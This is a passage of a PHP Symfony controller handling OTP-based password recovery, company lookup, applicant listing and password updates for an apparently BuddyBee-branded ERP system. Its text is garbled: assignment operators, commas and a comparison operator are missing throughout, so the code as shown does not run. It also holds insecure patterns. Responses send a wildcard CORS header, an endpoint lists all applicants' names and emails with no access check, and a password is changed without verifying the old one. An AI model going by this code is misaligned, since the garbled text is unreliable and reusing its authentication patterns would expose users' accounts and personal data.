  9155.             $userType UserConstants::USER_TYPE_APPLICANT;
  9156.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9157.             $twigData = [
  9158.                 'page_title' => 'Find Account',
  9159.                 'encryptedData' => $encryptedData,
  9160.                 "otp" => '',
  9161.                 'systemType' => $systemType,
  9162.                 'ownServerId' => $ownServerId,
  9163. //                "otp"=>$otp,
  9164.                 "otpExpireTs" => $otpExpireTs,
  9165.                 'message' => $message,
  9166.                 'userType' => $userType,
  9167.                 'errorField' => $errorField,
  9168.             ];
  9169.         }
  9170.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9171.             $response = new JsonResponse(array(
  9172.                     'templateData' => $twigData,
  9173.                     'message' => $message,
  9174.                     "otp" => '',
  9175. //                "otp"=>$otp,
  9176.                     "otpExpireTs" => $otpExpireTs,
  9177.                     'actionData' => $email_twig_data,
  9178.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9179.                 )
  9180.             );
  9181.             $response->headers->set('Access-Control-Allow-Origin''*');
  9182.             return $response;
  9183.         } else {
  9184.             return $this->render(
  9185.                 $twig_file,
  9186.                 $twigData
  9187.             );
  9188.         }
  9189.     }
  9190.     public function VerifyOtpAction(Request $request$encData ''$remoteVerify 0)
  9191.     {
  9192. //        $userCategory=$request->request->has('userCategory');
  9193.         $encryptedData = [];
  9194.         $errorField '';
  9195.         $message '';
  9196.         $userType '';
  9197.         $otpExpireSecond 180;
  9198.         $otpExpireTs 0;
  9199.         if ($encData != '')
  9200.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  9201. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  9202.         $otp = isset($encryptedData['otp']) ? $encryptedData['otp'] : 0;
  9203.         $email = isset($encryptedData['email']) ? $encryptedData['email'] : 0;
  9204.         $otpExpireTs = isset($encryptedData['otpExpireTs']) ? $encryptedData['otpExpireTs'] : 0;
  9205.         $otpActionId = isset($encryptedData['otpActionId']) ? $encryptedData['otpActionId'] : 0;
  9206.         $userId = isset($encryptedData['userId']) ? $encryptedData['userId'] : 0;
  9207.         $userCategory = isset($encryptedData['otp']) ? $encryptedData['userCategory'] : '_BUDDYBEE_USER_';
  9208.         $em $this->getDoctrine()->getManager('company_group');
  9209.         $em_goc $this->getDoctrine()->getManager('company_group');
  9210.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  9211.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9212.         $twigData = [];
  9213.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  9214.         $email_twig_data = [];
  9215.         $userData = [];
  9216.         if ($request->isMethod('POST') || $otp != '') {
  9217.             $otp $request->request->get('otp'$otp);
  9218.             $otpActionId $request->request->get('otpActionId'$otpActionId);
  9219.             $userId $request->request->get('userId'$userId);
  9220.             $userCategory $request->request->get('userCategory'$userCategory);
  9221.             $email_address $request->request->get('email'$email);
  9222.             if ($systemType == '_ERP_') {
  9223.                 if ($userCategory == '_APPLICANT_') {
  9224.                     $userType UserConstants::USER_TYPE_APPLICANT;
  9225.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9226.                         array(
  9227.                             'email' => $email_address
  9228.                         )
  9229.                     );
  9230.                     if ($userObj) {
  9231.                     } else {
  9232.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9233.                             array(
  9234.                                 'oAuthEmail' => $email_address
  9235.                             )
  9236.                         );
  9237.                         if ($userObj) {
  9238.                         } else {
  9239.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9240.                                 array(
  9241.                                     'userName' => $email_address
  9242.                                 )
  9243.                             );
  9244.                         }
  9245.                     }
  9246.                     if ($userObj) {
  9247.                         $email_address $userObj->getEmail();
  9248.                         if ($email_address == null || $email_address == '')
  9249.                             $email_address $userObj->getOAuthEmail();
  9250.                     }
  9251. //                    triggerResetPassword:
  9252. //                    type: integer
  9253. //                          nullable: true
  9254.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9255.                     $userObj->setOtp($otpData['otp']);
  9256.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9257.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9258.                     $em_goc->flush();
  9259.                     $userData = array(
  9260.                         'id' => $userObj->getApplicantId(),
  9261.                         'email' => $email_address,
  9262.                         'appId' => 0,
  9263. //                        'appId'=>$userObj->getUserAppId(),
  9264.                     );
  9265.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9266.                     $email_twig_data = [
  9267.                         'page_title' => 'Find Account',
  9268.                         'encryptedData' => $encryptedData,
  9269.                         'message' => $message,
  9270.                         'userType' => $userType,
  9271.                         'errorField' => $errorField,
  9272.                         'otp' => $otpData['otp'],
  9273.                         'otpExpireSecond' => $otpExpireSecond,
  9274.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9275.                         'otpExpireTs' => $otpData['expireTs'],
  9276.                         'systemType' => $systemType,
  9277.                         'userData' => $userData
  9278.                     ];
  9279.                     if ($userObj)
  9280.                         $email_twig_data['success'] = true;
  9281.                 } else {
  9282.                     $userType UserConstants::USER_TYPE_GENERAL;
  9283.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9284.                     $email_twig_data = [
  9285.                         'page_title' => 'Find Account',
  9286.                         'encryptedData' => $encryptedData,
  9287.                         'message' => $message,
  9288.                         'userType' => $userType,
  9289.                         'errorField' => $errorField,
  9290.                     ];
  9291.                 }
  9292.             } else if ($systemType == '_BUDDYBEE_') {
  9293.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9294.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9295.                     array(
  9296.                         'applicantId' => $userId
  9297.                     )
  9298.                 );
  9299.                 if ($userObj) {
  9300.                     $userOtp $userObj->getOtp();
  9301.                     $userOtpActionId $userObj->getOtpActionId();
  9302.                     $userOtpExpireTs $userObj->getOtpExpireTs();
  9303.                     $otpExpireTs $userObj->getOtpExpireTs();
  9304.                     $currentTime = new \DateTime();
  9305.                     $currentTimeTs $currentTime->format('U');
  9306.                     if ($userOtp != $otp) {
  9307.                         $message "Invalid OTP!";
  9308.                         $email_twig_data['success'] = false;
  9309.                     } else if ($userOtpActionId != $otpActionId) {
  9310.                         $message "Invalid OTP Action!";
  9311.                         $email_twig_data['success'] = false;
  9312.                     } else if ($currentTimeTs $userOtpExpireTs) {
  9313.                         $message "OTP Expired!";
  9314.                         $email_twig_data['success'] = false;
  9315.                     } else {
  9316.                         $userObj->setOtp(0);
  9317.                         $userObj->setOtpActionId(UserConstants::OTP_ACTION_NONE);
  9318.                         $userObj->setOtpExpireTs(0);
  9319.                         $userObj->setTriggerResetPassword(1);
  9320.                         $em_goc->flush();
  9321.                         $email_twig_data['success'] = true;
  9322.                         $message "";
  9323.                     }
  9324.                     $userData = array(
  9325.                         'id' => $userObj->getApplicantId(),
  9326.                         'email' => $email_address,
  9327.                         'appId' => 0,
  9328.                         'image' => $userObj->getImage(),
  9329.                         'firstName' => $userObj->getFirstname(),
  9330.                         'lastName' => $userObj->getLastname(),
  9331. //                        'appId'=>$userObj->getUserAppId(),
  9332.                     );
  9333.                     $email_twig_data['userData'] = $userData;
  9334.                 } else {
  9335.                     $message "Account not found!";
  9336.                     $email_twig_data['success'] = false;
  9337.                 }
  9338.             }
  9339.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9340.                 $response = new JsonResponse(array(
  9341.                         'templateData' => $twigData,
  9342.                         'message' => $message,
  9343.                         'actionData' => $email_twig_data,
  9344.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9345.                     )
  9346.                 );
  9347.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9348.                 return $response;
  9349.             } else if ($email_twig_data['success'] == true) {
  9350.                 $encData = array(
  9351.                     "userType" => $userType,
  9352.                     "otp" => '',
  9353.                     "otpExpireTs" => $otpExpireTs,
  9354.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9355.                     "userCategory" => $userCategory,
  9356.                     "userId" => $userData['id'],
  9357.                     "systemType" => $systemType,
  9358.                 );
  9359.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9360.                 $url $this->generateUrl(
  9361.                     'reset_password_new_password'
  9362.                 );
  9363.                 return $this->redirect($url "/" $encDataStr);
  9364. //                return $this->redirectToRoute("reset_password_new_password", [
  9365. ////                'id' => $isApplicantExist->getApplicantId(),
  9366. ////                'oAuthData' => $oAuthData,
  9367. ////                'refRoute' => $refRoute,
  9368. //                ]);
  9369.             }
  9370.         }
  9371.         if ($systemType == '_ERP_') {
  9372.             if ($userCategory == '_APPLICANT_') {
  9373.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9374.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9375.                 $twigData = [
  9376.                     'page_title' => 'Find Account',
  9377.                     'encryptedData' => $encryptedData,
  9378.                     'message' => $message,
  9379.                     'userType' => $userType,
  9380.                     'errorField' => $errorField,
  9381.                 ];
  9382.             } else {
  9383.                 $userType UserConstants::USER_TYPE_GENERAL;
  9384.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9385.                 $twigData = [
  9386.                     'page_title' => 'Find Account',
  9387.                     'encryptedData' => $encryptedData,
  9388.                     'message' => $message,
  9389.                     'userType' => $userType,
  9390.                     'errorField' => $errorField,
  9391.                 ];
  9392.             }
  9393.         } else if ($systemType == '_BUDDYBEE_') {
  9394.             $userType UserConstants::USER_TYPE_APPLICANT;
  9395.             $twig_file '@Authentication/pages/views/verify_otp_buddybee.html.twig';
  9396.             $twigData = [
  9397.                 'page_title' => 'Verify Otp',
  9398.                 'encryptedData' => $encryptedData,
  9399.                 'message' => $message,
  9400.                 'email' => $email,
  9401.                 "otp" => '',
  9402. //                "otp"=>$otp,
  9403.                 "otpExpireTs" => $otpExpireTs,
  9404.                 'userType' => $userType,
  9405.                 'userCategory' => $userCategory,
  9406.                 'errorField' => $errorField,
  9407.             ];
  9408.         }
  9409.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9410.             $response = new JsonResponse(array(
  9411.                     'templateData' => $twigData,
  9412.                     'message' => $message,
  9413.                     'actionData' => $email_twig_data,
  9414.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9415.                 )
  9416.             );
  9417.             $response->headers->set('Access-Control-Allow-Origin''*');
  9418.             return $response;
  9419.         } else {
  9420.             return $this->render(
  9421.                 $twig_file,
  9422.                 $twigData
  9423.             );
  9424.         }
  9425.     }
  9426. //    public function getCompanyByUser(Request $request){
  9427. //        $em = $this->getDoctrine()->getManager();
  9428. //        $em_goc = $this->getDoctrine()->getManager('company_group');
  9429. //        $session = $request->getSession();
  9430. //        $userId = $session->get(UserConstants::USER_ID);
  9431. //        $applicantDetails = $em->getRepository("ApplicationBundle\\Entity\\SysUser")->createQueryBuilder('U')
  9432. //            ->select('U.userAppIdList')
  9433. //            ->where('U.userId = :userId')
  9434. //            ->setParameter('userId', $userId)
  9435. //            ->getQuery()
  9436. //            ->getResult();
  9437. //
  9438. //        $compnayDetails = $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")->createQueryBuilder('C')
  9439. //            ->select('C.name','C.appId')
  9440. //            ->getQuery()
  9441. //            ->getResult();
  9442. //
  9443. //        return new JsonResponse(
  9444. //            [
  9445. //                'applicantCompnayId' => $applicantDetails,
  9446. //                'copanyData' => $compnayDetails
  9447. //            ]
  9448. //        );
  9449.     public function getCompanyByUser(Request $request)
  9450.     {
  9451.         $em_goc $this->getDoctrine()->getManager('company_group');
  9452.         $em_goc->getConnection()->connect();
  9453.         $session $request->getSession();
  9454.         $appIds $session->get(UserConstants::USER_APP_ID_LIST);
  9455.         $userAppIdList json_decode($appIdstrue);
  9456.         if (!is_array($userAppIdList)) {
  9457.             return new JsonResponse([]);
  9458.         }
  9459.         $companyData $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  9460.             ->createQueryBuilder('C')
  9461.             ->select('C.name, C.appId')
  9462.             ->where('C.appId IN (:appIds)')
  9463.             ->setParameter('appIds'$userAppIdList)
  9464.             ->getQuery()
  9465.             ->getResult();
  9466.         return new JsonResponse($companyData);
  9467.     }
  9468.     public function applicantList(Request $request)
  9469.     {
  9470.         $em_goc $this->getDoctrine()->getManager('company_group');
  9471.         $em_goc->getConnection()->connect();
  9472.         $applicantList $em_goc->getRepository("CompanyGroupBundle\\Entity\\EntityApplicantDetails")
  9473.             ->createQueryBuilder('C')
  9474.             ->select('C.applicantId, C.firstname, C.lastname,C.email')
  9475.             ->getQuery()
  9476.             ->getResult();
  9477.         return new JsonResponse($applicantList);
  9478.     }
  9479.     public function getUserType()
  9480.     {
  9481.         $userType HumanResourceConstant::$userTypeForApp;
  9482.         return new JsonResponse($userType);
  9483.     }
  9484.     private function appendCentralCustomerAccessList(array $accessListint $applicantId): array
  9485.     {
  9486.         if ($applicantId <= || !$this->container->has('app.organization_identity_service')) {
  9487.             return $accessList;
  9488.         }
  9489.         try {
  9490.             $customerAccessList $this->get('app.organization_identity_service')
  9491.                 ->buildCustomerAccessListForApplicant($applicantId$this->get('url_encryptor'));
  9492.         } catch (\Throwable $e) {
  9493.             return $accessList;
  9494.         }
  9495.         if (empty($customerAccessList)) {
  9496.             return $accessList;
  9497.         }
  9498.         $detailedClientApps = [];
  9499.         foreach ($customerAccessList as $item) {
  9500.             if (isset($item['appId'])) {
  9501.                 $detailedClientApps[(int)$item['appId']] = true;
  9502.             }
  9503.         }
  9504.         $filtered = [];
  9505.         foreach ($accessList as $item) {
  9506.             $isGenericClient = (int)($item['userType'] ?? 0) === UserConstants::USER_TYPE_CLIENT
  9507.                 && empty($item['erpClientId'])
  9508.                 && isset($detailedClientApps[(int)($item['appId'] ?? 0)]);
  9509.             if (!$isGenericClient) {
  9510.                 $filtered[] = $item;
  9511.             }
  9512.         }
  9513.         return array_merge($filtered$customerAccessList);
  9514.     }
  9515.     public function updatepasswordAction(Request $request)
  9516.     {
  9517.         $em_goc $this->getDoctrine()->getManager('company_group');
  9518.         $session $request->getSession();
  9519.         $userId $session->get(UserConstants::USER_ID);
  9520.         if ($request->isMethod('POST')) {
  9521.             $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->find($userId);
  9522.             $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($request->request->get('password'), $user->getSalt());
  9523.             $user->setPassword($encodedPassword);
  9524.             $em_goc->persist($user);
  9525.             $em_goc->flush();
  9526.             return new JsonResponse(['status' => 'success''message' => 'Password updated successfully.']);
  9527.         }
  9528.     }
  9529. }